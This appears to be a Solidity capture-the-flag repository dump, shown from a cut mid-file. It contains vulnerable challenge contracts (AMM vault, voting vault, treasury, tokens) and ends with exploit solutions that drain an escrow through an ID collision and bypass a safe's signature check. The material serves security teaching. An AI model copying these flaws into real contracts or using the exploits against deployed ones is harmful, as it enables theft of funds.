totalAssets); 84 | } 85 | 86 | function toAssetsDown(uint256 shares) internal view returns (uint256) { 87 | return shares.mulDivDown(totalAssets, totalSupply); 88 | } 89 | } -------------------------------------------------------------------------------- /src/simple-amm-vault/interfaces/ISimpleCallbacks.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | /// @title ISimpleCallbacks 5 | /// @notice Interface for callbacks. 6 | interface ISimpleCallbacks { 7 | /** 8 | * @notice Callback called when a deposit occurs. 9 | * @dev The callback is called only if data is not empty. 10 | * @param _assets The amount of supplied assets. 11 | * @param _data Arbitrary data passed to the `flashLoan` function. 12 | */ 13 | function onFlashLoan(uint256 _assets, bytes calldata _data) external; 14 | } -------------------------------------------------------------------------------- /src/simple-amm-vault/lib/ERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity >=0.8.0; 3 | 4 | /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. 5 | /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) 6 | /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) 7 | /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. 8 | abstract contract ERC20 { 9 | /*////////////////////////////////////////////////////////////// 10 | EVENTS 11 | //////////////////////////////////////////////////////////////*/ 12 | 13 | event Transfer(address indexed from, address indexed to, uint256 amount); 14 | 15 | event Approval(address indexed owner, address indexed spender, uint256 amount); 16 | 17 | /*////////////////////////////////////////////////////////////// 18 | METADATA STORAGE 19 | //////////////////////////////////////////////////////////////*/ 20 | 21 | string public name; 22 | 23 | string public symbol; 24 | 25 | uint8 public immutable decimals; 26 | 27 | /*////////////////////////////////////////////////////////////// 28 | ERC20 STORAGE 29 | //////////////////////////////////////////////////////////////*/ 30 | 31 | uint256 public totalSupply; 32 | 33 | mapping(address => uint256) public balanceOf; 34 | 35 | mapping(address => mapping(address => uint256)) public allowance; 36 | 37 | /*////////////////////////////////////////////////////////////// 38 | EIP-2612 STORAGE 39 | //////////////////////////////////////////////////////////////*/ 40 | 41 | uint256 internal immutable INITIAL_CHAIN_ID; 42 | 43 | bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; 44 | 45 | mapping(address => uint256) public nonces; 46 | 47 | /*////////////////////////////////////////////////////////////// 48 | CONSTRUCTOR 49 | //////////////////////////////////////////////////////////////*/ 50 | 51 | constructor( 52 | string memory _name, 53 | string memory _symbol, 54 | uint8 _decimals 55 | ) { 56 | name = _name; 57 | symbol = _symbol; 58 | decimals = _decimals; 59 | 60 | INITIAL_CHAIN_ID = block.chainid; 61 | INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); 62 | } 63 | 64 | /*////////////////////////////////////////////////////////////// 65 | ERC20 LOGIC 66 | //////////////////////////////////////////////////////////////*/ 67 | 68 | function approve(address spender, uint256 amount) public virtual returns (bool) { 69 | allowance[msg.sender][spender] = amount; 70 | 71 | emit Approval(msg.sender, spender, amount); 72 | 73 | return true; 74 | } 75 | 76 | function transfer(address to, uint256 amount) public virtual returns (bool) { 77 | balanceOf[msg.sender] -= amount; 78 | 79 | // Cannot overflow because the sum of all user 80 | // balances can't exceed the max uint256 value. 81 | unchecked { 82 | balanceOf[to] += amount; 83 | } 84 | 85 | emit Transfer(msg.sender, to, amount); 86 | 87 | return true; 88 | } 89 | 90 | function transferFrom( 91 | address from, 92 | address to, 93 | uint256 amount 94 | ) public virtual returns (bool) { 95 | uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. 96 | 97 | if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; 98 | 99 | balanceOf[from] -= amount; 100 | 101 | // Cannot overflow because the sum of all user 102 | // balances can't exceed the max uint256 value. 103 | unchecked { 104 | balanceOf[to] += amount; 105 | } 106 | 107 | emit Transfer(from, to, amount); 108 | 109 | return true; 110 | } 111 | 112 | /*////////////////////////////////////////////////////////////// 113 | EIP-2612 LOGIC 114 | //////////////////////////////////////////////////////////////*/ 115 | 116 | function permit( 117 | address owner, 118 | address spender, 119 | uint256 value, 120 | uint256 deadline, 121 | uint8 v, 122 | bytes32 r, 123 | bytes32 s 124 | ) public virtual { 125 | require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); 126 | 127 | // Unchecked because the only math done is incrementing 128 | // the owner's nonce which cannot realistically overflow. 129 | unchecked { 130 | address recoveredAddress = ecrecover( 131 | keccak256( 132 | abi.encodePacked( 133 | "\x19\x01", 134 | DOMAIN_SEPARATOR(), 135 | keccak256( 136 | abi.encode( 137 | keccak256( 138 | "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" 139 | ), 140 | owner, 141 | spender, 142 | value, 143 | nonces[owner]++, 144 | deadline 145 | ) 146 | ) 147 | ) 148 | ), 149 | v, 150 | r, 151 | s 152 | ); 153 | 154 | require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); 155 | 156 | allowance[recoveredAddress][spender] = value; 157 | } 158 | 159 | emit Approval(owner, spender, value); 160 | } 161 | 162 | function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { 163 | return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); 164 | } 165 | 166 | function computeDomainSeparator() internal view virtual returns (bytes32) { 167 | return 168 | keccak256( 169 | abi.encode( 170 | keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), 171 | keccak256(bytes(name)), 172 | keccak256("1"), 173 | block.chainid, 174 | address(this) 175 | ) 176 | ); 177 | } 178 | 179 | /*////////////////////////////////////////////////////////////// 180 | INTERNAL MINT/BURN LOGIC 181 | //////////////////////////////////////////////////////////////*/ 182 | 183 | function _mint(address to, uint256 amount) internal virtual { 184 | totalSupply += amount; 185 | 186 | // Cannot overflow because the sum of all user 187 | // balances can't exceed the max uint256 value. 188 | unchecked { 189 | balanceOf[to] += amount; 190 | } 191 | 192 | emit Transfer(address(0), to, amount); 193 | } 194 | 195 | function _burn(address from, uint256 amount) internal virtual { 196 | balanceOf[from] -= amount; 197 | 198 | // Cannot underflow because a user's balance 199 | // will never be larger than the total supply. 200 | unchecked { 201 | totalSupply -= amount; 202 | } 203 | 204 | emit Transfer(from, address(0), amount); 205 | } 206 | } 207 | -------------------------------------------------------------------------------- /src/simple-amm-vault/lib/FixedPointMathLib.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0-or-later 2 | pragma solidity ^0.8.0; 3 | 4 | /// @title FixedPointMathLib 5 | /// @notice Library to manage fixed-point arithmetic. 6 | library FixedPointMathLib { 7 | uint256 constant WAD = 1e18; 8 | 9 | /// @dev Returns (x * y) / WAD rounded down. 10 | function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { 11 | return mulDivDown(x, y, WAD); 12 | } 13 | 14 | /// @dev Returns (x * y) / WAD rounded up. 15 | function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { 16 | return mulDivUp(x, y, WAD); 17 | } 18 | 19 | /// @dev Returns (x * WAD) / y rounded down. 20 | function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { 21 | return mulDivDown(x, WAD, y); 22 | } 23 | 24 | /// @dev Returns (x * WAD) / y rounded up. 25 | function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { 26 | return mulDivUp(x, WAD, y); 27 | } 28 | 29 | /// @dev Returns (x * y) / d rounded down. 30 | function mulDivDown(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) { 31 | return (x * y) / d; 32 | } 33 | 34 | /// @dev Returns (x * y) / d rounded up. 35 | function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) { 36 | return (x * y + (d - 1)) / d; 37 | } 38 | } -------------------------------------------------------------------------------- /src/simple-amm-vault/lib/GREY.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | /* 5 | Note: This is a simple ERC20 contract with minting capabilities, there's no bug here. 6 | */ 7 | contract GREY { 8 | string constant public name = "Grey Token"; 9 | string constant public symbol = "GREY"; 10 | uint8 constant public decimals = 18; 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 amount); 13 | event Approval(address indexed owner, address indexed spender, uint256 amount); 14 | 15 | address private immutable owner; 16 | 17 | uint256 public totalSupply; 18 | 19 | mapping(address => uint256) public balanceOf; 20 | 21 | mapping(address => mapping(address => uint256)) public allowance; 22 | 23 | constructor() { 24 | owner = msg.sender; 25 | } 26 | 27 | function mint(address to, uint256 amount) external { 28 | require(msg.sender == owner, "not owner"); 29 | 30 | totalSupply += amount; 31 | balanceOf[to] += amount; 32 | 33 | emit Transfer(address(0), to, amount); 34 | } 35 | 36 | function approve(address spender, uint256 amount) external returns (bool) { 37 | allowance[msg.sender][spender] = amount; 38 | 39 | emit Approval(msg.sender, spender, amount); 40 | 41 | return true; 42 | } 43 | 44 | function transfer(address to, uint256 amount) external returns (bool) { 45 | return transferFrom(msg.sender, to, amount); 46 | } 47 | 48 | function transferFrom( 49 | address from, 50 | address to, 51 | uint256 amount 52 | ) public returns (bool) { 53 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 54 | 55 | balanceOf[from] -= amount; 56 | balanceOf[to] += amount; 57 | 58 | emit Transfer(from, to, amount); 59 | 60 | return true; 61 | } 62 | } -------------------------------------------------------------------------------- /src/simple-amm-vault/lib/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity >=0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC-20 standard as defined in the ERC. 8 | */ 9 | interface IERC20 { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Returns the value of tokens in existence. 26 | */ 27 | function totalSupply() external view returns (uint256); 28 | 29 | /** 30 | * @dev Returns the value of tokens owned by `account`. 31 | */ 32 | function balanceOf(address account) external view returns (uint256); 33 | 34 | /** 35 | * @dev Moves a `value` amount of tokens from the caller's account to `to`. 36 | * 37 | * Returns a boolean value indicating whether the operation succeeded. 38 | * 39 | * Emits a {Transfer} event. 40 | */ 41 | function transfer(address to, uint256 value) external returns (bool); 42 | 43 | /** 44 | * @dev Returns the remaining number of tokens that `spender` will be 45 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 46 | * zero by default. 47 | * 48 | * This value changes when {approve} or {transferFrom} are called. 49 | */ 50 | function allowance(address owner, address spender) external view returns (uint256); 51 | 52 | /** 53 | * @dev Sets a `value` amount of tokens as the allowance of `spender` over the 54 | * caller's tokens. 55 | * 56 | * Returns a boolean value indicating whether the operation succeeded. 57 | * 58 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 59 | * that someone may use both the old and the new allowance by unfortunate 60 | * transaction ordering. One possible solution to mitigate this race 61 | * condition is to first reduce the spender's allowance to 0 and set the 62 | * desired value afterwards: 63 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 64 | * 65 | * Emits an {Approval} event. 66 | */ 67 | function approve(address spender, uint256 value) external returns (bool); 68 | 69 | /** 70 | * @dev Moves a `value` amount of tokens from `from` to `to` using the 71 | * allowance mechanism. `value` is then deducted from the caller's 72 | * allowance. 73 | * 74 | * Returns a boolean value indicating whether the operation succeeded. 75 | * 76 | * Emits a {Transfer} event. 77 | */ 78 | function transferFrom(address from, address to, uint256 value) external returns (bool); 79 | } -------------------------------------------------------------------------------- /src/voting-vault/History.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | library History { 5 | struct Checkpoint { 6 | uint32 blockNumber; 7 | uint224 votes; 8 | } 9 | 10 | struct CheckpointHistory { 11 | mapping(address => Checkpoint[]) checkpoints; 12 | } 13 | 14 | /** 15 | * @dev Pushes a (block.number, votes) checkpoint into a user's history. 16 | */ 17 | function push( 18 | CheckpointHistory storage history, 19 | address user, 20 | uint256 votes 21 | ) internal { 22 | Checkpoint[] storage checkpoints = history.checkpoints[user]; 23 | uint256 length = checkpoints.length; 24 | 25 | uint256 latestBlock; 26 | if (length != 0) { 27 | latestBlock = checkpoints[length - 1].blockNumber; 28 | } 29 | 30 | if (latestBlock == block.number) { 31 | checkpoints[length - 1].votes = uint224(votes); 32 | } else { 33 | checkpoints.push(Checkpoint({ 34 | blockNumber: uint32(block.number), 35 | votes: uint224(votes) 36 | })); 37 | } 38 | } 39 | 40 | /** 41 | * @dev Returns votes in the last checkpoint, or zero if there is none. 42 | */ 43 | function getLatestVotingPower( 44 | CheckpointHistory storage history, 45 | address user 46 | ) internal view returns (uint256) { 47 | Checkpoint[] storage checkpoints = history.checkpoints[user]; 48 | uint256 length = checkpoints.length; 49 | 50 | return length == 0 ? 0 : checkpoints[length - 1].votes; 51 | } 52 | 53 | /** 54 | * @dev Returns votes in the last checkpoint with blockNumber lower or equal to 55 | * latestBlock, or zero if there is none. 56 | */ 57 | function getVotingPower( 58 | CheckpointHistory storage history, 59 | address user, 60 | uint256 latestBlock 61 | ) internal view returns (uint256) { 62 | Checkpoint[] storage checkpoints = history.checkpoints[user]; 63 | 64 | uint256 low = 0; 65 | uint256 high = checkpoints.length; 66 | 67 | while (low < high) { 68 | uint256 mid = (high + low) / 2; 69 | if (checkpoints[mid].blockNumber > latestBlock) { 70 | high = mid; 71 | } else { 72 | low = mid + 1; 73 | } 74 | } 75 | 76 | return high == 0 ? 0 : checkpoints[high - 1].votes; 77 | } 78 | } -------------------------------------------------------------------------------- /src/voting-vault/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import { GREY } from "./lib/GREY.sol"; 5 | import { VotingVault } from "./VotingVault.sol"; 6 | import { Treasury } from "./Treasury.sol"; 7 | 8 | contract Setup { 9 | bool public claimed; 10 | 11 | // GREY token 12 | GREY public grey; 13 | 14 | // Challenge contracts 15 | VotingVault public vault; 16 | Treasury public treasury; 17 | 18 | // Note: 1,000,000 votes required to pass a treasury proposal 19 | uint256 public constant MINIMUM_VOTES = 1_000_000e18; 20 | 21 | constructor() { 22 | // Deploy the GREY token contract 23 | grey = new GREY(); 24 | 25 | // Deploy challenge contracts 26 | vault = new VotingVault(address(grey)); 27 | treasury = new Treasury(address(vault), MINIMUM_VOTES); 28 | 29 | // Mint 10,000 GREY for setup 30 | grey.mint(address(this), 10_000e18); 31 | 32 | /* 33 | Treasury setup: 34 | - Deposit 10,000 GREY into reserves 35 | */ 36 | grey.approve(address(treasury), 10_000e18); 37 | treasury.deposit(address(grey), 10_000e18); 38 | } 39 | 40 | // Note: Call this function to claim 1000 GREY for the challenge 41 | function claim() external { 42 | require(!claimed, "already claimed"); 43 | claimed = true; 44 | 45 | grey.mint(msg.sender, 1000e18); 46 | } 47 | 48 | // Note: Challenge is solved when treasury has been drained 49 | function isSolved() external view returns (bool) { 50 | return grey.balanceOf(address(treasury)) == 0 && grey.balanceOf(msg.sender) >= 10_000e18; 51 | } 52 | } -------------------------------------------------------------------------------- /src/voting-vault/Treasury.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { IERC20 } from "./lib/IERC20.sol"; 5 | import { VotingVault } from "./VotingVault.sol"; 6 | 7 | /// @title Treasury 8 | /// @notice The Treasury contract. 9 | contract Treasury { 10 | struct Proposal { 11 | bool executed; 12 | address recipient; 13 | address token; 14 | uint256 amount; 15 | uint256 blockNumber; 16 | uint256 votes; 17 | } 18 | 19 | VotingVault public immutable VAULT; 20 | 21 | uint256 public immutable minimumVotes; 22 | 23 | Proposal[] public proposals; 24 | 25 | mapping(uint256 => mapping(address => bool)) voted; 26 | 27 | mapping(address => uint256) public reserves; 28 | 29 | /** 30 | * @param _vault The VotingVault contract. 31 | * @param _minimumVotes Minimum number of votes required for a proposal to pass. 32 | */ 33 | constructor(address _vault, uint256 _minimumVotes) { 34 | VAULT = VotingVault(_vault); 35 | minimumVotes = _minimumVotes; 36 | } 37 | 38 | // ========================================= MUTATIVE FUNCTIONS ======================================== 39 | 40 | /** 41 | * @notice Deposit tokens into the tresury. 42 | * 43 | * @param token The token to deposit. 44 | * @param amount The amount of tokens to deposit. 45 | */ 46 | function deposit(address token, uint256 amount) external { 47 | reserves[token] += amount; 48 | IERC20(token).transferFrom(msg.sender, address(this), amount); 49 | } 50 | 51 | /** 52 | * @notice Create a proposal to withdraw tokens from the treasury. 53 | * 54 | * @param token The token to withdraw. 55 | * @param amount The amount of tokens to withdraw. 56 | * @param recipient The address that receives the tokens. 57 | */ 58 | function propose(address token, uint256 amount, address recipient) external returns (uint256) { 59 | require(amount <= reserves[token], "insufficient tokens"); 60 | 61 | proposals.push(Proposal({ 62 | executed: false, 63 | recipient: recipient, 64 | token: token, 65 | amount: amount, 66 | blockNumber: block.number, 67 | votes: 0 68 | })); 69 | 70 | return proposals.length - 1; 71 | } 72 | 73 | /** 74 | * @notice Vote for a withdrawal proposal. 75 | * 76 | * @param proposalId The index of the proposal in the proposals array. 77 | */ 78 | function vote(uint256 proposalId) external { 79 | require(!voted[proposalId][msg.sender], "already voted"); 80 | 81 | uint256 blockNumber = proposals[proposalId].blockNumber; 82 | require(blockNumber < block.number, "same block"); 83 | 84 | voted[proposalId][msg.sender] = true; 85 | 86 | uint256 votingPower = VAULT.votingPower(msg.sender, blockNumber); 87 | proposals[proposalId].votes += votingPower; 88 | } 89 | 90 | /** 91 | * @notice Execute a withdrawal proposal. 92 | * 93 | * @param proposalId The index of the proposal in the proposals array. 94 | */ 95 | function execute(uint256 proposalId) external { 96 | Proposal memory proposal = proposals[proposalId]; 97 | require(!proposal.executed, "already executed"); 98 | require(proposal.votes >= minimumVotes, "threshold not reached"); 99 | 100 | proposals[proposalId].executed = true; 101 | reserves[proposal.token] -= proposal.amount; 102 | 103 | IERC20(proposal.token).transfer(proposal.recipient, proposal.amount); 104 | } 105 | } -------------------------------------------------------------------------------- /src/voting-vault/VotingVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { IERC20 } from "./lib/IERC20.sol"; 5 | import { History } from "./History.sol"; 6 | 7 | /// @title VotingVault 8 | /// @notice The VotingVault contract. 9 | contract VotingVault { 10 | using History for History.CheckpointHistory; 11 | 12 | struct Deposit { 13 | uint256 cumulativeAmount; 14 | uint256 unlockTimestamp; 15 | } 16 | 17 | struct UserData { 18 | Deposit[] deposits; 19 | uint256 front; 20 | address delegatee; 21 | } 22 | 23 | uint256 public constant VOTE_MULTIPLIER = 1.3e18; 24 | uint256 public constant LOCK_DURATION = 30 days; 25 | 26 | IERC20 public immutable GREY; 27 | 28 | History.CheckpointHistory internal history; 29 | 30 | mapping(address => UserData) public userData; 31 | 32 | /** 33 | * @param grey The GREY token contract. 34 | */ 35 | constructor(address grey) { 36 | GREY = IERC20(grey); 37 | } 38 | 39 | // ========================================= MUTATIVE FUNCTIONS ======================================== 40 | 41 | /** 42 | * @notice Allows users to stake and lock GREY for votes. 43 | * 44 | * @param amount The amount of GREY the user wishes to stake. 45 | * @return Index of the deposit in the deposits array. 46 | */ 47 | function lock(uint256 amount) external returns (uint256) { 48 | (UserData storage data, address delegatee) = _getUserData(msg.sender); 49 | Deposit[] storage deposits = data.deposits; 50 | 51 | if (deposits.length == 0) { 52 | deposits.push(Deposit(0, 0)); 53 | } 54 | 55 | uint256 previousAmount = deposits[deposits.length - 1].cumulativeAmount; 56 | deposits.push(Deposit({ 57 | cumulativeAmount: previousAmount + amount, 58 | unlockTimestamp: block.timestamp + LOCK_DURATION 59 | })); 60 | 61 | uint256 votes = _calculateVotes(amount); 62 | _addVotingPower(delegatee, votes); 63 | 64 | GREY.transferFrom(msg.sender, address(this), amount); 65 | 66 | return deposits.length - 1; 67 | } 68 | 69 | /** 70 | * @notice Withdraws staked GREY that is unlocked. 71 | * 72 | * @param end The index of the last deposit to unlock. 73 | * @return amount The amount of GREY unlocked. 74 | */ 75 | function unlock(uint256 end) external returns (uint256 amount) { 76 | (UserData storage data, address delegatee) = _getUserData(msg.sender); 77 | Deposit[] storage deposits = data.deposits; 78 | 79 | uint256 front = data.front; 80 | require(front < end, "already unlocked"); 81 | 82 | Deposit memory lastUnlockedDeposit = deposits[front]; 83 | Deposit memory depositToUnlock = deposits[end]; 84 | require(block.timestamp > depositToUnlock.unlockTimestamp, "still locked"); 85 | 86 | amount = depositToUnlock.cumulativeAmount - lastUnlockedDeposit.cumulativeAmount; 87 | data.front = end; 88 | 89 | uint256 votes = _calculateVotes(amount); 90 | _subtractVotingPower(delegatee, votes); 91 | 92 | GREY.transfer(msg.sender, amount); 93 | } 94 | 95 | /** 96 | * @notice Transfer voting power from one address to another. 97 | * 98 | * @param newDelegatee The new address which gets voting power. 99 | */ 100 | function delegate(address newDelegatee) external { 101 | require(newDelegatee != address(0), "cannot delegate to zero address"); 102 | 103 | (UserData storage data, address delegatee) = _getUserData(msg.sender); 104 | Deposit[] storage deposits = data.deposits; 105 | 106 | data.delegatee = newDelegatee; 107 | 108 | uint256 length = deposits.length; 109 | if (length == 0) return; 110 | 111 | Deposit storage lastUnlockedDeposit = deposits[data.front]; 112 | Deposit storage lastDeposit = deposits[length - 1]; 113 | uint256 amount = lastDeposit.cumulativeAmount - lastUnlockedDeposit.cumulativeAmount; 114 | 115 | uint256 votes = _calculateVotes(amount); 116 | _subtractVotingPower(delegatee, votes); 117 | _addVotingPower(newDelegatee, votes); 118 | } 119 | 120 | // ============================================ VIEW FUNCTIONS =========================================== 121 | 122 | /** 123 | * @notice Fetch the voting power of a user. 124 | * 125 | * @param user The address we want to load the voting power from. 126 | * @param blockNumber The block number we want the user's voting power at. 127 | * 128 | * @return The number of votes. 129 | */ 130 | function votingPower(address user, uint256 blockNumber) external view returns (uint256) { 131 | return history.getVotingPower(user, blockNumber); 132 | } 133 | 134 | // ============================================== HELPERS =============================================== 135 | 136 | function _addVotingPower(address delegatee, uint256 votes) internal { 137 | uint256 oldVotes = history.getLatestVotingPower(delegatee); 138 | unchecked { 139 | history.push(delegatee, oldVotes + votes); 140 | } 141 | } 142 | 143 | function _subtractVotingPower(address delegatee, uint256 votes) internal { 144 | uint256 oldVotes = history.getLatestVotingPower(delegatee); 145 | unchecked { 146 | history.push(delegatee, oldVotes - votes); 147 | } 148 | } 149 | 150 | function _calculateVotes(uint256 amount) internal pure returns (uint256) { 151 | return amount * VOTE_MULTIPLIER / 1e18; 152 | } 153 | 154 | function _getUserData( 155 | address user 156 | ) internal view returns (UserData storage data, address delegatee) { 157 | data = userData[user]; 158 | delegatee = data.delegatee == address(0) ? user : data.delegatee; 159 | } 160 | } -------------------------------------------------------------------------------- /src/voting-vault/lib/GREY.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | /* 5 | Note: This is a simple ERC20 contract with minting capabilities, there's no bug here. 6 | */ 7 | contract GREY { 8 | string constant public name = "Grey Token"; 9 | string constant public symbol = "GREY"; 10 | uint8 constant public decimals = 18; 11 | 12 | event Transfer(address indexed from, address indexed to, uint256 amount); 13 | event Approval(address indexed owner, address indexed spender, uint256 amount); 14 | 15 | address private immutable owner; 16 | 17 | uint256 public totalSupply; 18 | 19 | mapping(address => uint256) public balanceOf; 20 | 21 | mapping(address => mapping(address => uint256)) public allowance; 22 | 23 | constructor() { 24 | owner = msg.sender; 25 | } 26 | 27 | function mint(address to, uint256 amount) external { 28 | require(msg.sender == owner, "not owner"); 29 | 30 | totalSupply += amount; 31 | balanceOf[to] += amount; 32 | 33 | emit Transfer(address(0), to, amount); 34 | } 35 | 36 | function approve(address spender, uint256 amount) external returns (bool) { 37 | allowance[msg.sender][spender] = amount; 38 | 39 | emit Approval(msg.sender, spender, amount); 40 | 41 | return true; 42 | } 43 | 44 | function transfer(address to, uint256 amount) external returns (bool) { 45 | return transferFrom(msg.sender, to, amount); 46 | } 47 | 48 | function transferFrom( 49 | address from, 50 | address to, 51 | uint256 amount 52 | ) public returns (bool) { 53 | if (from != msg.sender) allowance[from][msg.sender] -= amount; 54 | 55 | balanceOf[from] -= amount; 56 | balanceOf[to] += amount; 57 | 58 | emit Transfer(from, to, amount); 59 | 60 | return true; 61 | } 62 | } -------------------------------------------------------------------------------- /src/voting-vault/lib/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity >=0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC-20 standard as defined in the ERC. 8 | */ 9 | interface IERC20 { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Returns the value of tokens in existence. 26 | */ 27 | function totalSupply() external view returns (uint256); 28 | 29 | /** 30 | * @dev Returns the value of tokens owned by `account`. 31 | */ 32 | function balanceOf(address account) external view returns (uint256); 33 | 34 | /** 35 | * @dev Moves a `value` amount of tokens from the caller's account to `to`. 36 | * 37 | * Returns a boolean value indicating whether the operation succeeded. 38 | * 39 | * Emits a {Transfer} event. 40 | */ 41 | function transfer(address to, uint256 value) external returns (bool); 42 | 43 | /** 44 | * @dev Returns the remaining number of tokens that `spender` will be 45 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 46 | * zero by default. 47 | * 48 | * This value changes when {approve} or {transferFrom} are called. 49 | */ 50 | function allowance(address owner, address spender) external view returns (uint256); 51 | 52 | /** 53 | * @dev Sets a `value` amount of tokens as the allowance of `spender` over the 54 | * caller's tokens. 55 | * 56 | * Returns a boolean value indicating whether the operation succeeded. 57 | * 58 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 59 | * that someone may use both the old and the new allowance by unfortunate 60 | * transaction ordering. One possible solution to mitigate this race 61 | * condition is to first reduce the spender's allowance to 0 and set the 62 | * desired value afterwards: 63 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 64 | * 65 | * Emits an {Approval} event. 66 | */ 67 | function approve(address spender, uint256 value) external returns (bool); 68 | 69 | /** 70 | * @dev Moves a `value` amount of tokens from `from` to `to` using the 71 | * allowance mechanism. `value` is then deducted from the caller's 72 | * allowance. 73 | * 74 | * Returns a boolean value indicating whether the operation succeeded. 75 | * 76 | * Emits a {Transfer} event. 77 | */ 78 | function transferFrom(address from, address to, uint256 value) external returns (bool); 79 | } -------------------------------------------------------------------------------- /test/solutions/escrow.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { Setup, DualAssetEscrow } from "src/escrow/Setup.sol"; 5 | 6 | contract Exploit { 7 | Setup setup; 8 | 9 | constructor(Setup _setup) { 10 | setup = _setup; 11 | } 12 | 13 | function solve() external { 14 | // Deploy escrow that has the same ID as the one to drain 15 | bytes19 zero_bytes = bytes19(abi.encodePacked(address(0))); 16 | (uint256 escrowId, ) = setup.factory().deployEscrow( 17 | 0, // implId = 0 18 | abi.encodePacked(address(setup.grey()), zero_bytes) // tokenY = 19 bytes of 0x00 19 | ); 20 | 21 | // ID of this escrow and the one to drain is the same 22 | assert(escrowId == setup.escrowId()); 23 | 24 | // Withdraw all GREY from the escrow to drain 25 | DualAssetEscrow escrow = DualAssetEscrow(setup.escrow()); 26 | escrow.withdraw(true, 10_000e18); 27 | 28 | // Transfer all GREY to msg.sender 29 | setup.grey().transfer(msg.sender, 10_000e18); 30 | } 31 | } -------------------------------------------------------------------------------- /test/solutions/gnosis-unsafe.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { Setup, GREY, Safe } from "src/gnosis-unsafe/Setup.sol"; 5 | import { ISafe } from "src/gnosis-unsafe/interfaces/ISafe.sol"; 6 | 7 | contract Exploit { 8 | Setup setup; 9 | 10 | Safe.Transaction transaction; 11 | uint8[3] v; 12 | bytes32[3] r; 13 | bytes32[3] s; 14 | 15 | constructor(Setup _setup) { 16 | setup = _setup; 17 | } 18 | 19 | // Execute this first 20 | function solvePart1() external { 21 | // Create transaction that transfers 10,000 GREY tokens out 22 | transaction = ISafe.Transaction({ 23 | signer: address(0x1337), 24 | to: address(setup.grey()), 25 | value: 0, 26 | data: abi.encodeCall(GREY.transfer, (msg.sender, 10_000e18)) 27 | }); 28 | 29 | // Queue the transaction 30 | setup.safe().queueTransaction(v, r, s, transaction); 31 | } 32 | 33 | // Execute this around 1 minute after solvePart1() 34 | function solvePart2() external { 35 | // Set the signer to address(0) 36 | transaction.signer = address(0); 37 | 38 | // Execute the transaction 39 | setup.safe().executeTransaction(v, r, s, transaction, 0); 40 | } 41 